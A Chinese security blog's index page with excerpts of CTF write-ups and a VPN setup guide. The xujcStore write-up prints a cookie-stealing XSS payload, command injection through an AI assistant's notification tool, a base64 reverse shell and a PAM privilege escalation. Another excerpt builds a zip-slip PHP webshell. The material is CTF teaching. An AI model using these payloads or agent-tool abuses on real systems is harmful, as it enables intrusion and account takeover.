2026长城杯半决赛easy_time意外发现的另一种潜在解法 | WriteUp

本篇将介绍除网上zip slip漏洞外的另一种解法,针对所给附件docker-compose.yml环境与当时比赛现场环境不一致的情况 环境搭建 附件给了docker-compose.yml,直接docker-compose up -d即可,mac上要把5000改成其他,否则会和airdrop冲突 但要注意,本题直接用附件所给的docker-compose启动会和比赛时的环境不一致,也是为什么会有第二种解法的原因,具体将在攻击部分讲解 攻击 通过浏览整个项目的文件结构可以发现,有两个web部分,一个是php,一个是flask,而根据docker-compose.yml可知对外提供能访问到的是flask,所以先看flask的逻辑 先看路由,发现大部分路由都需要经过login_required 跟进这个装饰器,发现它通过另一个is_logged_in()判断是否已登录 这个is_logged_in()只会检查cookie里的visited是否为yes,以及user是否有值,所以不需要什么绕过,只要有值就行 另外,还有一个硬编码过的2层md5密码,其实明文是secret,用hashcat可以很容易跑出来 hashcat -m 2600 -a 0 hash rockyou.txt 登录逻辑大概就是这样,不过比赛时我居然在类似下面这样的好多地方纠结了好久为什么没有SSTI ?太久没碰CTF导致的…… 顺便补一下上面这样的构造并不会造成SSTI,下面这样才会,原理:https://xz.aliyun.com/news/3311 既然不存在直接的利用点,那就只能回到逻辑分析,粗略浏览路由后会发现主要路由只有/plugin/upload和/about,/board尽管有写库的功能,但是sqlite,所以先不管 先看/about,主要逻辑就是下面这段 先对上传后缀做过滤,再从数据库里拿出信息给flask渲染,其中avatar_url还会经过一个fetch_remote_avatar_info的函数,跟进 就是很简单的curl,本身没有利用点。但问题就在于它另一个php服务存在于一个环境里,由此可以引出SSRF,并且php自带了一个phpinfo.php,所以来到about页面将头像地址改成php服务地址试试 成功访问,但没有发现什么特别的东西,而且目前还没发现进一步利用到RCE的点,所以继续看另一个路由 可以看到仅支持上传.zip文件,并将上传上来的zip文件名做secure_filename防止路径穿越(注意这里只过滤上传的zip文件本身,不会检查zip文件里的文件)后,最终交给safe_upload函数,跟进一下 遍历zip文件中的文件,将文件名与dest_dir合并后赋值到target,如果是文件夹则确保或创建该文件夹存在,否则将文件写到完整的target路径里。 其实这是个很类似解压到操作,但又不是标准的解压方法,真正使用zipfile解压zip的方法应该是下面这样 with zipfile.Zipfile("example.zip","r") as zips: zipf.extractall("/tmp") 但这道题里的这种"解压"实质上是一种文件迁移,将zip的内容读出来再写入,而不是真正地去解压它 操作的空间就在这里,os.path.join对路径的处理并不会做像secure_filename那样过滤路径回退的操作,甚至会优先解析绝对路径(如下target3),如下 由此可知,可以通过让被压缩的文件名带有/或../这样的格式,达到任意目录写文件的目的。并且由于flask没开热更新,所以肯定不是覆写.py来拿webshell,只能写php webshell 所以只要构造一个文件名为’/var/www/html/shell.php’的文件就能成功写入,但linux和macos都不支持直接创建带/文件名的文件,所以我们只能用zipfile这个库直接创建一个带有这样文件的压缩包 import zipfile with zipfile.ZipFile("eval.zip","w") as f: f.writestr("/var/www/html/shell.php","<?php system('ls');?>") 赛事环境与附件所给不一致导致的利用失败 此时如果直接上传这个文件,理论上应该是可以正常解压最后利用ssrf getshell才对,但情况并不是这样。而是出现了解压失败的报错 参考网上许多赛后复盘wp后发现,当时比赛的环境确实只要上传上面生成的压缩包即可 https://rycarl.cn/index.php/2026/03/23/2026%E9%95%BF%E5%9F%8E%E6%9D%AFawdp%E5%8D%8A%E5%86%B3%E8%B5%9Bwp%E8%A5%BF%E5%8D%97%E5%9C%B0%E5%8C%BAweb/#FIX-2 https://blog.luc1f3r.top/zh-cn/posts/writeup/ciscn--ccb-%E5%8D%8A%E5%86%B3%E8%B5%9B---2026-writeup/#break-1 说明两者环境应该有区别,经过一番排查后后发现了原因 ...

April 16, 2026 · 1 min · Red

xujcLab 4月多校训练赛 xujcStore | Writeup

很久没有出过题了,上一次出题还是在上一次,看到这次4月赛这么多人在玩,就忙里偷闲随便整一个 我会从做题者的视角来写,让大家可以更直观地看到渗透的逻辑链 通过题目描述可以得知,老板最近经常(实际上是1分钟一次)用AI看一件夹克商品,进来看了一下,只有一件商品是夹克 随便注册一个用户,上来后发现给了个邮箱服务,其他没发现什么有价值的东西,那就玩玩AI吧 既然老板经常看这件夹克,那我们也看一下 可以看到,会显示客户评论,和商品页面下看到的一样,所以它的功能其实很简单,就是把评论区的内容照搬过来。既然这样,如果这里存在xss漏洞,老板的账号如果执行了我预先埋在评论区的xss payload,我就可以拿到他的cookie,上他的号看看。所以先来验证一下有没有xss 回到夹克商品页面,随便打个alert试试 可以看到没有执行,因为被包在了div容器里,但并没有做过滤或转译,所以试试img标签直接看外带能不能成 重新操作一遍后,最多等待1分钟左右,会发现成功收到回显 既然可以外带,那就准备外带cookie的payload,既然script不行就用img <img src=x onerror="location.href='http://webhook.site/aeb1a8a3-639c-4595-89f1-18faac7d0d10?c='+document.cookie"> 拿着外带回来的session就能登录到管理员akared777用户 会发现多出一个管理员后台,但也没有什么特别的东西,只能证明我们已经成功登录到管理员用户,所以既然还是搜集不到东西那就再玩玩ai吧,老板喜欢玩的东西肯定不简单 这里我们如果用普通用户问一样的问题,会发现普通用户只有第一个功能product_info,只有管理员才会多出这么多功能。 不过,llm最大的问题就在于同样的问题不一定能够被稳定复现,所以最稳妥的问法还是从它的功能原理——API问起 当然,要是中文不行,题目一开始的提示里告诉了英文最佳,在实战中也是个很常用的tip,这里就不演示了 经过排查后,关注点锁定在dispatch_notification这个功能, 可以搜看看 命令行吗?有点意思,斗胆试一下命令拼接 这里它给的用法里没有指定是哪个工具,如果只发一个json它应该会不认得,所以在前面加上api的名字 会发现akared777的邮箱并没有收到邮件,但我并没有直接放弃测试这个api,毕竟这是道渗透题,环境带来的不确定性可能会让自己错过很重要的东西。此时想起来普通用户也有邮箱,所以开个无痕登录一个普通用户 会发现普通用户的邮箱地址和管理员不太一样,加了一串随机字符。所以我们拿它重新尝试一下 会发现还是没有收到邮件,所以我开始推测可能是我写的格式不对或内容不行,删减自己的json数据,到最后尝试让他只发送一封空邮件 成功收到 会发现它已经自己写好了内容,也就是content,所以可能是怕我做命令拼接,所以会丢弃内容,并拦截 不过到目前也只验证能发件,content又被ban了,那还有什么地方是可控的,可能存在拼接的吗?对,还有一个用户名,而且这个邮件自带一串随机字符,说不定发件定位用的不是用户名,而是这串随机字符,那就梭一把 get it,至此我们就成功拿到了webshell,然后就是最喜闻乐见的反弹shell 会发现空格遭到了过滤,而且太多引号也会导致奇怪的失败,这也是渗透常有的事,就不多展开,直接上我的payload dispatch_notification $(echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMS4xLjEuMSIsMTE0NTEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=|base64${IFS}-d|/bin/sh)@YOUR_PREFIX.xujcstore.com 因为根据请求头会发现用的是python,所以直接用python弹更稳定 接着就是提权环节了,会发现root没有权限进去 接着就是上可读可写可执行的查找三板斧,会发现可写里有个值得注意的家伙 pam是linux的统一权限管理接口,用来管理linux程序的权限划分,可以利用覆写配置达到提权 没有读权限,但有写权限,那就只能靠蒙,看能不能蒙到可以直接利用的东西,直接试试最常见的su看有没有 echo "auth sufficient pam_permit.so" > /etc/pam.d/su 能写说明事先没有这个文件,现在我们写了用的就是我们的,最后执行su就能利用配置文件成功获得root 具体原理可以参考https://blog.csdn.net/2301_79518550/article/details/145524969 ...

April 8, 2026 · 1 min · Red

[技术杂谈]低成本搭建iOS原生VPN,告别小火箭

贫穷再一次激起了人的创造力 上一次:[技术杂谈]低成本windows远程控制直连方案(无需VPN组网) 前言 这次事情的起因是最近换了新的传输协议xhttp,三台电脑上平时在用的xray和v2ray内核都成功跑通了,本以为可以在我的16e上愉快的使用时,却发现自己的小火箭内核版本过低,传输协议选项中没有xhttp 那么看到这解决办法肯定就是要去更新,但由于我的apple id目前在国区,要更新就得换到当时买火箭的美区。但又因为我在国区有apple music,此时如果换区就会导致我的资料库被删掉,就此触发音乐圈经典老番🤣👉 我可不想自己整理了大半年的音乐库凭空消失,所以换区这条路肯定是不行了。此时肯定有聪明的观众会说可以换一个在美区并且有火箭的apple id,但这又会导致我apple钱包里的卡被全部解绑,换回我自己的国区id时得一张一张重新绑。更重要的是,必须是”有火箭“的美区id,相当于我又得重新花二十多块钱买个火箭,或者还得找人去借一个 所以,求人不如求己,一个黑客最基本的素养就是要想办法花最少的钱办最大的事,就有了这篇博客 (另外顺便解释一下为什么需要小火箭这类网卡层代理,而不使用无线网络连接时设置里的http/socks5代理?原因其实很简单,一是DNS泄漏的问题(可以看[技术杂谈]一篇聊完DNS投毒、泄露),二是iphone上绝大多数应用会无视这个设置导致仍然无法使用) 需要准备 一台闲置linux服务器。用来跑xray/v2ray/singbox/clash等各种代理内核,我用的是家里的一台闲置电脑。如果你没有,也可以随便拿台vps,不过最好不要是国内厂商的,原因你懂的 (选用)一个公网ipv4地址。最好的办法就是随便找台带公网v4地址的vps,我自己正好手头有台闲置的阿里云。这台vps就可以是国内厂商,并且最好是在国内,因为是出门在外做转发会用到,下文会介绍原因以及为什么不能是ipv6。 当然,如果你只是想在自己家里科学上网,并且你的iOS设备可以和你的闲置电脑在一个网段下,那完全可以不需要这个公网v4地址。 设计思路 因为iOS本身支持的vpn协议类型有限,所以必须要搭建一个符合其所支持协议的vpn服务,并将它的流量统一转发给代理内核本身提供的的socks5,因此就可以通过连接路径粗略总结出搭建路径 iphone -> vpn服务(用docker搭建并创建专属网段) [ ->编写流量规则,在防火墙上把vpn服务接到的流量做标记 -> linux内核将做过标记的流量根据路由表发给特定网卡 -> 网卡转交给socks5 ] ->xray/v2ray/singbox提供的socks5代理 开始 先来介绍一下iOS自带的VPN功能。就拿我目前正在使用的iOS 18举例,一般来说,如果你此前从未使用过类似小火箭这样的软件,那么自带VPN入口大概率会在"设置"->“通用”->“VPN与设备管理"底下 如果你用过,那么在网络连接相关设置附近应该也能看到 在添加VPN配置中查看可添加的VPN类型,可以发现只支持这三种 其实第一种和第三种他们本质上都是第二种IPsec的"套壳”,从传输特征和加解密复杂度上看没有太大区别,只不过在验证逻辑和配置上略有不同。我们待会儿会用到第三种"L2TP" 来到我准备好的闲置linux服务器上,先配置好自己的代理内核,可以是你的clash,又或者v2ray等等,这里我就不做介绍了,直接拿准备好的代理测试一下 成功代理到了我的美中节点,那么此时我们的目标其实很清晰,就是想办法让我的iphone通过自带vpn所支持的协议与我的服务器建立链接,并将我iphone上的请求全部转交到服务器的socks5代理上 也就是我们需要搭建一个vpn服务端供我的iphone连接 实现在家可用 因为我不想脏了自己的环境,毕竟我的服务器还要跑别的东西,同时为了方便后续做流量规则,所以我选择用把vpn服务架在docker。先给我的vpn服务创建一个专属网段 docker network create --subnet=172.20.0.0/16 vpn_net 接着直接用别人包好的hwdsl2/ipsec-vpn-server镜像即可一键部署。如果对vpn有研究的观众并且用过这个镜像可能会有问为什么不设置固定的dns,以防dns泄露?其实如果不设置就可以将dns请求也一并交给代理节点,也就没有dns泄漏的问题 docker run -d --name ikev2-vpn \ --restart=always \ --privileged \ --net vpn_net \ --ip 172.20.0.2 \ --name vpn\ -p 500:500/udp \ -p 4500:4500/udp \ -e "VPN_IPSEC_PSK=预共享密钥(随便填)" \ -e "VPN_USER=用户名" \ -e "VPN_PASSWORD=密码" \ hwdsl2/ipsec-vpn-server 如果成功,你应该能在日志里看到类似这样的输出 ...

January 7, 2026 · 2 min · Red

2025 TKKCTF | WriteUp

本篇wp还总结了本届TKKCTF在使用新版docker与xinted时,在Pwn方向上题/出题阶段遇到的问题的解决方法,以及密码题Isomorphia_revenge出现非预期解的原因与解决方法,希望能给各位校外师傅将来出题提供点帮助,再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员,TKKC Sec因为有你们而变得更好~ Web Eat 2023 TKKCTF - 好吃,爱吃,多吃 Real or AI 本题灵感来源于 有很多人在群里晒自己的得分,不过这对一个训练有素的hacker来说应该想要多高就有多高 网页内容基本没有变化,先来看看怎么修改得分 最低1张图1局,我们就先随便玩一局看看显示结果的页面有什么值得注意的内容 运气不太好。此时你如果只是想到群里晒得分,可以直接修改HTML的内容 可是这样一点也不真实,左边的圆圈应该要随正确的比例填满,所以直接修改HTML的方法显然不是最好的,因此我们就要进一步看看前端还有什么别的实现 在js部分发现了这个 资源结构很简单,出了这个js外没有别的脚本,因此应该只要分析这个脚本就行。 分析过前端逆向的人应该都知道,前端逻辑代码大部分都是经过混淆或者加密处理的,这个网页也不意外,所以如果直接通过打随机断点去分析,工作量会很大。因此我们需要找到一个明显又值得关注的东西,回到刚才我们随便玩的一局里,观察到“score”这个字符串,负责表示分数,所以我们就随便搜一搜 范围一下被缩小到了6个,所以我们就只需要观察这6个地方的逻辑,应该就能找到突破口 通过观察,最后可以将目标锁定在这个结果 为什么是这里?这是6个结果中的第2个,如果我们把刚才的6个结果都看过去,可以在第6个结果中看到这样一段 通过属性名与"results"可以很大胆的猜测这段结果就是最后输出给我们看的东西,而后面这三个值被赋给了Yy,也就是6个结果中第2个结果的那个函数,所以如果能操控Yy,很大概率我们就可以控制最后的输出结果。 我没有对Yy做很细致的分析,不过粗略的看一眼也能获得证实我们上面想法的线索 如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮,会发现他会复制一段话,而这段话的片段很明显就是这几行代码组成的,因此这更加证实了Yy就是负责最后输出页面内容的函数。 而经过对这几行代码的分析也有别的发现,那就是变量o,这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里,会发现o变量就是由totalRounds和score组成的 所以思路到此就很清晰了,我们可以尝试在o变量被赋值的地方下条件断点,让o使用我们自己定义的e和t,就能达到随意控制最终输出结果的目的。 此时我们再去玩一局,就会发现成功触发断点 放行全部断点后就能得到 此时如果你只是想炫耀999的截图任务,就已经完成了。但对于CTF选手来说,走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法 如果你头铁,可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag,那就看看后3个 很明显这就是我们要找的东西,获得方法也很简单,e和t我们刚才都已经分析过(理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么,当然也不乏可以猜出来)写个计算sha256的脚本就能解决 #!/bin/bash e=999 t=999 salt="HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ" #盐是每个靶机随机生成的,需要你自己替换 msg="${salt}${e}${t}" hash=$(echo -n "$msg" | sha256sum | awk '{print $1}') curl "https://47.122.52.77:33695/secrets/$hash.txt" SecOps 访问题目,被重定向至登录页面 在登录页面可以发现一个下载接口/common/download?file= ...

December 7, 2025 · 8 min · Red

2025 TKKCTF Beginner | WriteUp

本次WriteUp为各出题人收集版,如遇问题可以找对应题目出题人 Web 彩蛋 顺便解释一下为什么是“可能见过也可能没见过” 以及为什么提示叫“挖掘xujclab.com” easy_upload wp-2.pdf ez_http 出题者 zsm 留言:第一次出web题,质量不算特别高,请见谅 源码 <?php echo "<h1>你知道http协议吗?</h1>"; echo "<h1>不知道?还不去查查!!!</h1>"; echo "<h2>你知道怎么修改请求包吗?</h2>"; echo "<!-- 你也许需要一个工具?看看web手册呢? -->"; $flag = file_get_contents('/flag'); $flags = str_split($flag, 5); if ($_SERVER['HTTP_USER_AGENT'] != 'xujcBrowser') { die('请使用xujcBrowser浏览器访问'); } echo $flags[0]; if (!isset($_GET['hello'])) { die('<br>请用GET方式传递hello=world'); } echo $flags[1]; if ($_GET['hello'] != 'world') { die("<br>hello参数不正确"); } echo $flags[2]; if (!isset($_POST['web'])) { die('<br>请用POST方式传递web=security'); } echo $flags[3]; if ($_POST['web'] != 'security') { die('<br>web参数值不正确'); } echo $flags[4]; if (!isset($_COOKIE['flag'])) { die('<br>请设置cookie flag=secret'); } echo $flags[5]; if ($_COOKIE['flag'] != 'secret') { die('<br>cookie flag值不正确'); } echo $flags[6]; if ($_SERVER['HTTP_REFERER'] != 'http://localhost:8080/') { die('<br>请从http://localhost:8080/访问'); } echo $flags[7]; if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') { die('<br>请从127.0.0.1访问'); } echo $flags[8] . "<br>"; echo '<h1>看来你知道http协议了</h1>'; 首先你要去学一下http协议,以及了解一下这个包里面的内容 ...

December 6, 2025 · 18 min · Red